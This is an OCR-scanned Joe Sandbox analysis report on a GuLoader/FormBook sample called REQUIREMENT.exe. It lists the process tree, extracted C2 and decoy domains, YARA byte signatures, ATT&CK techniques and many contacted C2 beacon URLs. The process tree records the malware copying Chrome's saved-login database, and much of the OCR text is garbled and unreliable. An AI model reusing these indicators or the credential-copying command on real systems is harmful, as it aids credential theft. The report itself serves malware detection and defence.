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Windows Analysis Report REQUIREMENT.exe
Overview

General Information Detection Signatures Classification

Sample REQUIREMENT.exe
Name: MALICIOUS

Analysis ID: 1641

Found malware configuration

Snort IDS alert for network traffic (e....

MD5: .

fb70ff484021669... Yara detected Generic Dropper
SHA1:

68200136319676.. Multi AV Scanner detection for subm...
SHA256: 2b40757a6763aa..

Yara detected FormBook

nfos: nBQt —

& e Benign windows process drops PE f...

v

Malicious sample detected (through ...

Most interesting Screenshot:

System process connects to networ

GulLoader FormBook

GulLoader behavior detected

Score: 100 Multi AV Scanner detection for dropp...
Range: 0-100 Yara detected Guloader
Whitelisted: false
X Hides threads from debuggers
Confidence: 100%
P

Process Tree

= System is wl0x64native

. ﬁ% REQUIREMENT.exe (PID: 1776 cmdline: 'C:\Users\user\Desktop\REQUIREMENT .exe' MD5: FB70FF484021669624233D0FBD77EC6A)
e [ REQUIREMENT.exe (PID: 1172 cmdline: 'C:\Users\user\Desktop\REQUIREMENT.exe' MD5: FB70FF484021669624233D0FBD77EC6A)
o [ explorer.exe (PID: 680 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5SAE5612F921BCIDA23BACI5F7)
e [ autoconv.exe (PID: 5024 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 469594005E3B94C5945BCCE7FC521C05)
e [B autochk.exe (PID: 5612 cmdline: C:\Windows\SysWOWe64\autochk.exe MD5: 95127C028063423E1253BDOC8CD6CICB)
o B systray.exe (PID: 2092 cmdline: C:\Windows\SysWOW64\systray.exe MD5: 28D565B8B24D30E5E3DESAFF6900AF098)
. cmd.exe (PID: 2492 cmdline: /c del 'C:\Users\user\Desktop\REQUIREMENT.exe' MD5: DOFCE3AFA6AA1D58CE9FA336CC2B675B)
. conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
. cmd.exe (PID: 7420 cmdline: /c copy 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data' 'C:\Users\user\AppData\Local\Temp\DB1' /V
MD5: DOFCE3AFA6AALD58CE9FA336CC2B675B)
conhost.exe (PID: 5608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
e (@ firefox.exe (PID: 3076 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)
. ﬁ% certmgr3ff.exe (PID: 1444 cmdline: C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe MD5: FB70FF484021669624233D0FBD77EC6A)
e [7 certmgr3ff.exe (PID: 2676 cmdline: C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe MD5: FB70FF484021669624233D0FBD77EC6A)
. ﬁ% certmgr3ff.exe (PID: 7460 cmdline: 'C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’ MD5: FB70FF484021669624233D0FBD77EC6A)
e [1 certmgr3ff.exe (PID: 6616 cmdline: 'C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’ MD5: FB70FF484021669624233D0FBD77EC6A)
. ﬁ% certmgr3ff.exe (PID: 7840 cmdline: 'C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’ MD5: FB70FF484021669624233D0FBD77EC6A)
e [7 certmgr3ff.exe (PID: 4776 cmdline: 'C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe’ MD5: FB70FF484021669624233D0FBD77EC6A)

= cleanup

Malware Configuration

Threatname: GuLoader

{
“"Payload URL": "https://drive.google.com/uc?export=downloa"
}

Threatname: FormBook
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{

"C2 list": [
"www.tpmionline.com/cogu/"

1

“decoy": [
"bornhub.xyz",
"hancofe.store",
"bestofnapa.guide”,
"innerhell.space”,
"ryker.ink",
"leschoixusa.com”,
"bqgfk.com”,
"yakyu-eiga.com”,
"martialkitchen.com",
"thousandoaks-buickgmc.com”,
"researchlearningspirit.xyz",
"byobuzz.com",
"taichan.xyz",
"ballznutcracker.com”,
"soymilk-design.com",
"chalengestodo.com”,
"nui2.online”,
"hkautobox.com”,
"uprisehealthmonitoring.com”,
"027jia.net",
“cacaolixir.com”,
"“werasdfdfsadf.info",
"sanchalanprokashon.com”,
“donlead.com”,
"dsnfryfufi.com",
"laythproduction.com”,
“narcozland.com”,
"jachaljuega.com”,
“centralcontable.net",
"agamottocoin.com”,
“congtyvhomes.com”,
“i8news-de.website",
“estudio-me.com”,
"high-clicks.com”,
"boliden-ab.com”,
“nazfoodstuff.com",
"sozialwirtschaft.team",
“xn--4pvw92bcry.com”,
"6ohmf.info",
“fishermandm.com",
“marvellouslles.com”,
“suprabranding.net”,
"jkwhitleyphotography.com”,
“qylaser.net”,
"034455.com”,
“farbeo.com”,
"boggbeg.com”,
“domainair.biz",
“gulfweeks.com”,
“alexanderorlandis.com",
“earning-beauty.xyz",
“shopsharpgraphics.com”,
“fdndigtavrcb.net”,
“ceruleden.com”,
“originial-motors.com”,
“ebbtidefloodtide.com”,
“cticloudfr.com”,
"bywl.top",
"alo360.net",
“cinargeridonusum.com”,
"xn--ahindelivery-3mc.com”,
“cryptoidolz.pro”,
"snowmanvila.com”,
“mobileiranian2.com”

Yara Overview

Memory Dumps

Source

00000001.00000002.32667545706.0000000002
3B0000.00000040.00000001.sdmp

00000003.00000002.33056187707.000000001E
5F0000.00000040.00020000.sdmp

Copyright Joe Security LLC 2021

Rule

JoeSecurity_GulLoader_2

JoeSecurity_FormBook

Description

Yara detected
GulLoader

Yara detected
FormBook

Author

Joe Security

Joe Security

Strings
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Source Rule Description Author Strings
00000003.00000002.33056187707.000000001E Formbook detect Formbook JPCERT/CC e 0Ox16aa9:$sqlite3step: 68 34 1C 7B E1
5F0000.00000040.00020000.sdmp in memory Incident Response e 0x16bbc:$sqlite3step: 68 34 1C 7B E1
Group e 0Ox16ad8:$sqlite3text: 68 38 2A 90 C5

e 0x16bfd:$sqlite3text: 68 38 2A 90 C5

e Ox16aeb:$sqlite3blob: 68 53 D8 7F 8C

e 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.33056187707.000000001E Formbook_1 autogenerated rule Felix Bilstein - e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

5F0000.00000040.00020000.sdmp

brought to you by  yara-signator at
yara-signator cocacoding dot
com

0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 2
57494
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0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlacla:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

00000015.00000000.35242814301.0000000027
517000.00000004.00020000.sdmp

LokiBot_Dropper_Packed_ Auto-generated
R11_Feb18 rule - file scan
copy.pdf.ril

Florian Roth e 0x11d14:$sl: C:\Program Files (x86)\Microsoft Visual S
tudio\VB98\VB6.0OLB

Click to see the 33 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file

Yara detected FormBook

Multi AV Scanner detection for dropped file

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:
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Yara detected GuLoader

Hooking and other Techniques for Hiding and Protection:

]‘]

Malware Analysis System Evasion:

Anti Debugging:

=

HIPS | PFW | Operating System Protection Evasion:

=

Benign windows process drops PE files

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected Generic Dropper
Yara detected FormBook

GuLoader behavior detected

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution  Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and Control Effects
Valid Shared Registry Process Virtualization/Sandbox OS Security Software Remote Email Exfiltration Encrypted Eavesdrof
Accounts  Modules @ RunKeys/ Injection Evasion Credential  Discovery Services Collection ] Over Other Channel Insecure
Startup Dumping Network Network
Folder Medium Communic
Default Exploitation DLL Side-  Registry Run Process LSASS Virtualization/Sandbox Remote Archive Exfiltration  Ingress Tool Exploit SS
Accounts  for Client  Loading Keys/Startup  Injection Memory  Evasion Desktop Collected  Over Transfer Redirect F
Execution Folder Protocol Data Bluetooth Calls/SMS
Domain At (Linux) Logon Script DLL Side- Deobfuscate/Decode  Security Process Discovery SMB/Windows Data from Automated Non- Exploit S€
Accounts (Windows)  Loading Files or Information g Account Admin Shares Local Exfiltration  Application Track Dev
Manager System Layer Location
Protocol
Local At Logon Script Logon Script Obfuscated Files or NTDS File and Directory Distributed Input Scheduled Application SIM Card
Accounts  (Windows)  (Mac) (Mac) Information Discovery Component Capture Transfer Layer Swap
Object Model Protocol
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
cacaolixir.com 0% Virustotal Browse
centralcontable.net 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://www.high-clicks.com/cogu/ 0% Avira URL Cloud safe
http://www.xn--4pvw92bcry.com/cogu/ 0% Avira URL Cloud safe
http://www.tpmionline.com/cogu/ 0% Avira URL Cloud safe
http://www.cinargeridonusum.com/cogu/? 0% Avira URL Cloud safe
E6=YWcImILWetVQGhipA+G2uDb+SeX0Cd/MjDmvOZQMTg5SMMVY/|LI+xM6WaOuTEINNdOXk&GJIE=

6ITPIF

http://www.thousandoaks-buickgmc.com/cogu/L 0% Avira URL Cloud safe
http://www.jkwhitleyphotography.com/cogu/?- 0% Avira URL Cloud safe
Z=5j3dv6rhizRPIOMP&E6=0JW80yNTUilblQnhj6MVn32XupSCHJgGKr7ChJ8acluUK/cVpV73gH60M/IK

XthPyqu2
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https://www.virustotal.com/gui/url/c00431c3e3e37781c397e9e139e31150c4ef35e47f861d953ad990f3c471c404/detection/u-c00431c3e3e37781c397e9e139e31150c4ef35e47f861d953ad990f3c471c404-1458217260
https://www.virustotal.com/gui/url/fb72564a9f828d27db861b7e85be123f9f4c7995e2c7434d413bdcdffb48020a/detection/u-fb72564a9f828d27db861b7e85be123f9f4c7995e2c7434d413bdcdffb48020a-1572192654

Source
http://www.thousandoaks-buickgmc.com/cogu/W

http://www.domainair.biz/cogu/?
E6=XUO191KcVQfEEWsSMJ9UBYnICa/I+dhdLiWjITAS8DRbwOP6fYUmdo8NYhzdUy3C+FUJf&EVpdF=
DBAIWhC

http://www.cacaolixir.com/cogu/?
E6=TP90dDgalUD062Nc3ik6VEBC|7pU3sm2020GxDUNHgLIP8RyY/BX8xz+WUeumcOFdCH3f&EVpdF
=D6AIWhC

http://www.estudio-me.com/cogu/?
E6=L5GjM02Qi9/3ctzLfpX21kbqInICP/PmVIQkFp534KYMBhdy6kz6hr7HyPkdH1b60OtPy&JXeDOV=5jFp
KDWXi

http://www.shopsharpgraphics.com/cogu/?
E6=87aM8EhKbioxWIIC6s4JEY cLDNJJIIEZPCwIIW3J1beA8OHN/9Mglw4nOmGUY +KwtTo&EVpdF=D6
AlWhC

http://www.searchvity.com/?dn=
http://www.thousandoaks-buickgmc.com/cogu/6

http://www.tpmionline.com/cogu/?
E6=0Q5540RkvIutfUkv4jGh7NesFHfEN9TtIOrndmKD218/SIFrfn/DKKL7940R4DTj3bIKH&EVpdF=D6AIWh
C

http://https://word.office.comcaS

http://www.taichan.xyz/cogu/?
E6=A+BgLwYGva59ha/kPEGY S9y5Cw6+WAI2lefwiAx9zEuoRfqY6i5KVFoFLUKOYMYmgzYy&EVpdF=D
6AIWhC

http://https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentSignerHttp/external

http://www.centralcontable.net/cogu/?
E6=7eaza+Vm8yYemsyz/zzwjWrklc8YiSHo5HX5TNM7allR4urhJrmRG4YV/48q0bSefO77&-
Z=5j3dv6rhizRPIOMP

http://www.boliden-ab.com/cogu/?
E6=S526i6wvHPThQg5EmMNI6E/uV1flc9kx0gaETcxJTPPIRiBsvCj80OWSBVUObghLZ2zBTNI&-
Z=5j3dv6rhizRPIOMP

http://www.uprisehealthmonitoring.com/cogu/?
E6=NFedTnOwyfQnQfz4Fa359HV39V5qjz9UUQouY pwkrhdO9I9uPa/7UwpxNrVjVYhaxXz3f&IXeDOV=5jF
pPKDWXi

http://www.marvellouslles.com/cogu/?-
Z=5j3dv6rhizRPIOMP&EG=jcFOH/ZxkSx2B+e0z]i128R7cFyPyE6Tynf2GelbWKAhzBX6sEIR/9TLWk4pw
Fmflt+F

http://www.thousandoaks-buickgmc.com/cogu/

http://www.shopsharpgraphics.com/cogu/?
E6=87aM8EhKbioxWIIC6s4JEYcLDNdjIIEZPCwIIW3J1beA8OHN/9Mglw4nOmGUY +KwtTo&JIXeDOV=5j
FpKDWXi

http://www.searchvity.com/

http://www.researchlearningspirit.xyz/cogu/?
E6=xC5KNdI4GHSouGT38hjr4jsIQYnK9JeLhI8DzyfFb/cxQtVLaTUcvPIpENShYviimrvn&GJIE=6ITPIF

http://www.nul2.online/cogu/?
E6=QRnHbABZrlah6x+kOaYWzzpt/wEyN1uu/6itxilXZIZPOwWHQf3Tea8RViivUAbNONg3Q&GJIE=6ITPJIF

http://www.xn--4pvw92bcry.com/cogu/?
E6=62eHCTnVilbE5q/VnkbvIz9TsuOUnGzf3IBPcleKYkVag+IXJUtXLjRsX48ZiFT924q+&-
Z=5j3dv6rhizRPIOMP

http://www.ceruleden.com/cogu/?-
Z=5)3dv6rhizRPIOMP&EG=xVNBpPJIX0T3V4STjWu+0XBc4W2+z0x4LkIxyAqr5fiGYxwgg6ZSnpz45f2S143
1JRker

http://www.hkautobox.com/cogu/?
E6=XflccXNfLX5VXF4pbgJOgkj9hfbfozamY6uAUfQ6uaB911jdIVb8IPx0hpo8MPsnFI&EVpdF=D6AIWh
C

http://www.centralcontable.net/cogu/?
E6=7eaza+Vm8yYemsyz/zzwjWrklc8Yi5Ho5SHX5TNM7allR4urhJrmRG4YV/480q0bSefO77&EVpdF=D6AI
WhC

http:/fwww.shopsharpgraphics.com
http:/fwww.cinargeridonusum.com/cogu/
www.tpmionline.com/cogu/
http:/fwww.cacaolixir.com/cogu/
http:{/fwww.shopsharpgraphics.com/cogu/
http://schemas.micro

http://www.nazfoodstuff.com/cogu/?
E6=NkcQ30DOYkJGNuF95ZpkIKht5WO0ulo+Ok2Me3ITyYaTuJ86BWuzspf8yVeXKwyiufl+B&EVpdF=D6A
IWhC

http://www.nu12.online/cogu/

http://www.soymilk-design.com/cogu/?
E6=AKrvVC46g6aUqOUI59QNJifV5z+0jBVKueGdcTrEcNhmNt+uKBfQ1nRhJazzsjvYBoCEF&EVpdF=D6
AlWhC

http://www.bggfk.com/cogu/?
E6=Esy+SZGnIGcFL3b4TdwlgkWYMoe5TNIPO2uJWgi8huQtR8iqs1202F0FkbgpOK+vLGht&EVpdF=D
6AIWhC

http://www.domainair.biz/cogu/
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Source Detection Scanner Label Link

http:/fwww.high-clicks.com/cogu/? 0% Avira URL Cloud safe
E6=kZBNmvv9/eiuWktgT/6kcZDtJw48mlhVfm1ri0sSAffAJ4dIXBHSptGOKbrWsOvy+Lqt&EVpdF=D6AIW
hC

http:/fwww.researchlearningspirit.xyz/cogu/ 0% Avira URL Cloud safe

http:/fwww.fishermandm.com/cogu/? 0% Avira URL Cloud safe
E6=Vt5Qt20mygQqgSIUs1LnTjIm5PAf0+j+U7GfZi7PpDW7/xLcDx4cEzk7U78MhAa3f93Z&EVpdF=D6AIl
hC

S

http:/fwww.researchlearningspirit.xyz/cogu/? 0% Avira URL Cloud safe
E6=xC5KNdI4GHSouGT38hjr4jsIQYnK9JeLhI8DzyfFb/cxQtVLaTUcvPIpEN5ShYvijmrvn&EVpdF=D6AIW
hC

http:/fwww.fishermandm.com/cogu/ 0% Avira URL Cloud safe

http:/fwww.xn--4pvw92bcry.com/cogu/? 0% Avira URL Cloud safe
E6=62eHCTnVilbE5q/VnkbvIzZ9TsuOUnGzf3IBPc1eKYkVqg+IXJUtXLjRsX48ZiFT924q+&GJIE=6ITPJF

http:/fwww.nazfoodstuff.com/cogu/ 0% Avira URL Cloud safe

http:/fwww.alo360.net/cogu/? 0% Avira URL Cloud safe
E6=ryReQ6gK]jl02p+tUx8m+7gLTnsOHXWXot/Pd7vxfolZ67qcT6NKb85r0SsRZKPEM7LMW&GJIE=6ITPJ
F

http:/fwww.alexanderorlandis.com/cogu/? 0% Avira URL Cloud  safe
E6=6yxwGmrm3Ap/M+4TPZhn44EC1HJIh+94HIlixwD1LsvIrE4APEEHQNTPRS5ISm/JOI/dScyn&IXeDOV=5

JFPKDWXi

http:/fwww.bestofnapa.guide/cogu/? 0% Avira URL Cloud safe
E6=0YOc4eMaPzOzEKITDzffiIHUHUfLmwWJIQOjcrghoXxwbMleRPqH/xhR7I6RpoJjihKUSQ4&EVpdF=D6

AlWhC

http:/fwww.jachaljuega.com/cogu/?- 0% Avira URL Cloud safe
Z=5j3dv6rhizRPIOMP&E6=nujE8SKobpMEhFJICVnGirdWeRJImwvtVIfZaGtibwOwWMPhuUS2YahDL2LgF
ihEHSPYEZ

http:/fwww.i8news-de.website/cogu/? 0% Avira URL Cloud  safe
E6=CWSu9rBRajtTkxrJy4pABg4mxihAfalcaoFBMiLgB2EmPhnp5uCs+6CRDA45IGLAfaluR&JIXeDOV=5jF
pKDWXi

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
bestofnapa.guide 34.102.136.180 true false unknown
docs.google.com 172.217.168.78 true false high

parkingpage.namecheap.com 198.54.117.210 true false high

cacaolixir.com 34.102.136.180 true false e 0%, Virustotal, Browse unknown

drive.google.com 172.217.168.46 true false high

googlehosted.l.googleusercontent.com 142.250.185.161 true false high
ghs.googlehosted.com 142.250.186.179 true false unknown
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https://www.virustotal.com/gui/url/c00431c3e3e37781c397e9e139e31150c4ef35e47f861d953ad990f3c471c404/detection/u-c00431c3e3e37781c397e9e139e31150c4ef35e47f861d953ad990f3c471c404-1458217260
https://www.virustotal.com/gui/url/fb72564a9f828d27db861b7e85be123f9f4c7995e2c7434d413bdcdffb48020a/detection/u-fb72564a9f828d27db861b7e85be123f9f4c7995e2c7434d413bdcdffb48020a-1572192654

e onfig.office.ne 0
doc-04-7g-docs.googleuserconte 0 0
doc-00-60-do googleuserconte 0 0

p acao 0 0g
6 P90dDgaluDO06 6 B P 020 D qL9P8RyY/BX8 e O
& pdF=DG6A
Ip P doc-00-60
docs.googleuserconte om/do ecuresc/or48 0 e48th b peotig
g08d d6opcs93g9/1634 0 8281895610876391208/04 96 64740
R PJA e=do oad
p P doc-00-60
do googleuserconte om/do e e or48 0 b b peotig
d6opcs93g9/1634 0 6 639 96 64740
BkRkr58kPbPS PJA
e=do oad&nonce 67q 84 &user=04 96 64740 &ha 8)60
0g76 do/ceb




Malicious Antivirus Detection Reputation

:{/https://docs.google.com/nonceSigner?nonce=r167qul5841hi&continue=https://doc-0o-  false

docs.googleusercontent.com/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlicré
908d513d60pcs93g9/1634133075000/18281895610876391208/04225796272126474013Z/1cav
mvfhBKRkr58kPbP8ymMPJAEJZGE13?
e%3Ddownload&hash=nelffd4kaaa27pue6e32mldfstfdgasf

http:/fwww.cacaolixir.com/cogu/ false e Avira URL Cloud: safe unknown

http:i/https://doc-04-7g- false high
docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhgsh7mbp1/211t93ra59s
spsgplogf893q75230rnc/1634132775000/18281895610876391208/*/1cavmvfhBkRkr58kPbP8y

mMPJAEJZGE13?e=download

hitp://www.bestofnapa.guide/cogu/? false e Avira URL Cloud: safe unknown
E6=0YOc4eMaPzOzEKITDzffiHUHUfLmwWJQOjcrghoXxwbMIleRPgH/XhR7I6RpoJihKUSQ4&
EVpdF=D6AIWhC

hitp://www.jachaljuega.com/cogu/?- false e Avira URL Cloud: safe unknown
Z=5}3dv6rhizRPIOMP&E6=nujE8SKobpMEhFJCVnGir4dWeRJImwvtVIfZaGtibwOwWMPhuuS2
YahDL2LgFihEH5PYEZ
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Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious

93.184.220.29 unknown European Union 15133 EDGECASTUS false

172.217.168.46 drive.google.com United States 15169 GOOGLEUS false

142.250.185.161 googlehosted.l.googleuser United States 15169 GOOGLEUS false
content.com

142.250.186.179 ghs.googlehosted.com United States 15169 GOOGLEUS false

204.141.43.204 zhs.zohosites.com United States 2639 ZOHO-ASUS false

172.217.168.33 unknown United States 15169 GOOGLEUS false

34.102.136.180 bestofnapa.guide United States 15169 GOOGLEUS false

198.54.117.210 parkingpage.namecheap.c United States 22612 NAMECHEAP-NETUS false
om

General Information

Joe Sandbox Version: 33.0.0 White Diamond
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Analysis ID: 1641

Start date: 13.10.2021
Start time: 15:44:39
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 17m 48s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: REQUIREMENT.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301
Run name: Suspected Instruction Hammering
Number of analysed new started processes 29
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.evad.WinEXE@26/3@58/32
EGA Information: Failed
HDC Information: Failed
HCA Information: e Successful, ratio: 78%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

15:51:01 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run S610FPS8_B7 C:\Program Files (x86)\AidrOp8Ix
\certmgr3ff.exe

15:51:09 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run S610FPS8_B7 C:\Program Files (x86)\AidrOp8

Ix\certmgr3ff.exe

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

192.64.116.180 Get hash malicious Browse e www.baxco
l.com/21m/?
w8=GLOD&a
fX8XbUh=38
hwCdojXO7G
CqgsctEDwOa
X4|MWIFZrA7
t3ALI0Tk+m
WjTIDbIFIx
x1bzCaqqzU
ql+Wil
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https://view.joesandbox.com/analysis/244517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244517/html/none?idtype=webid
https://view.joesandbox.com/analysis/307011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307011/html/none?idtype=webid

Match

Domains

Match

parkingpage.namecheap.com

ASN

Match
MNSUS

CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCoLtdC

JA3 Fingerprints
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Associated Sample Name / URL SHA 256
Get hash

SHA 256

>
]
173
o
=3
2
@
-3
(7]
Q
3
i
®
2
Q
3
®
c
A
[l

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
3
]
o
Q,
2
@
-3
(7]
i
3
=3
©
=z
I
3
®
c
x
[

Detection

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

status.th

awte.com/M
FEwWTzBNMEs
WSTAJBgUrD
gMCGgUABBQ
nt%2BO7KdI
35ubyUvwz3
9VP7XeuiQQ
USwWH8BDBYYy
n2yjOyHJ6N
VYYE7hDKCE
AghIHEOISq
jOGwb1T5M8
Uc%3D

Context

198.54.117.217
198.54.117.217
198.54.117.218
198.54.117.217
198.54.117.216
198.54.117.210
198.54.117.218
198.54.117.215
198.54.117.218
198.54.117.212
198.54.117.211
198.54.117.218
198.54.117.218
198.54.117.216
198.54.117.215
198.54.117.217
198.54.117.210
198.54.117.210
198.54.117.212
198.54.117.210

Context

216.81.40.165
216.81.36.8
8.212.24.67
47.75.69.10
47.251.44.214
47.251.246.130
47.252.78.131
47.52.227.229
8.210.47.56
47.245.171.11
8.208.140.209
47.250.33.117
47.252.78.131
8.210.85.68
8.209.97.194
47.88.84.51
8.210.47.56
47.243.170.138
8.213.113.54
8.212.24.67
8.212.24.67
47.243.170.138
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https://view.joesandbox.com/analysis/107069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/107069/html/none?idtype=webid
https://view.joesandbox.com/analysis/394163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394163/html/none?idtype=webid
https://view.joesandbox.com/analysis/394003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394003/html/none?idtype=webid
https://view.joesandbox.com/analysis/393968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393968/html/none?idtype=webid
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid
https://view.joesandbox.com/analysis/393836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393836/html/none?idtype=webid
https://view.joesandbox.com/analysis/393625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393625/html/none?idtype=webid
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid
https://view.joesandbox.com/analysis/393357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393357/html/none?idtype=webid
https://view.joesandbox.com/analysis/393350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393350/html/none?idtype=webid
https://view.joesandbox.com/analysis/393193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393193/html/none?idtype=webid
https://view.joesandbox.com/analysis/393092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393092/html/none?idtype=webid
https://view.joesandbox.com/analysis/393080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393080/html/none?idtype=webid
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid
https://view.joesandbox.com/analysis/393040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393040/html/none?idtype=webid
https://view.joesandbox.com/analysis/392566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392566/html/none?idtype=webid
https://view.joesandbox.com/analysis/392564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392564/html/none?idtype=webid
https://view.joesandbox.com/analysis/392387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392387/html/none?idtype=webid
https://view.joesandbox.com/analysis/392231/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392231/html/none?idtype=webid
https://view.joesandbox.com/analysis/391996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391996/html/none?idtype=webid
https://view.joesandbox.com/analysis/385459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385459/html/none?idtype=webid
https://view.joesandbox.com/analysis/361356/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/361356/html/none?idtype=webid
https://view.joesandbox.com/analysis/394492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394492/html/none?idtype=webid
https://view.joesandbox.com/analysis/394482/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394482/html/none?idtype=webid
https://view.joesandbox.com/analysis/394454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394454/html/none?idtype=webid
https://view.joesandbox.com/analysis/394298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394298/html/none?idtype=webid
https://view.joesandbox.com/analysis/394119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394119/html/none?idtype=webid
https://view.joesandbox.com/analysis/394035/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394035/html/none?idtype=webid
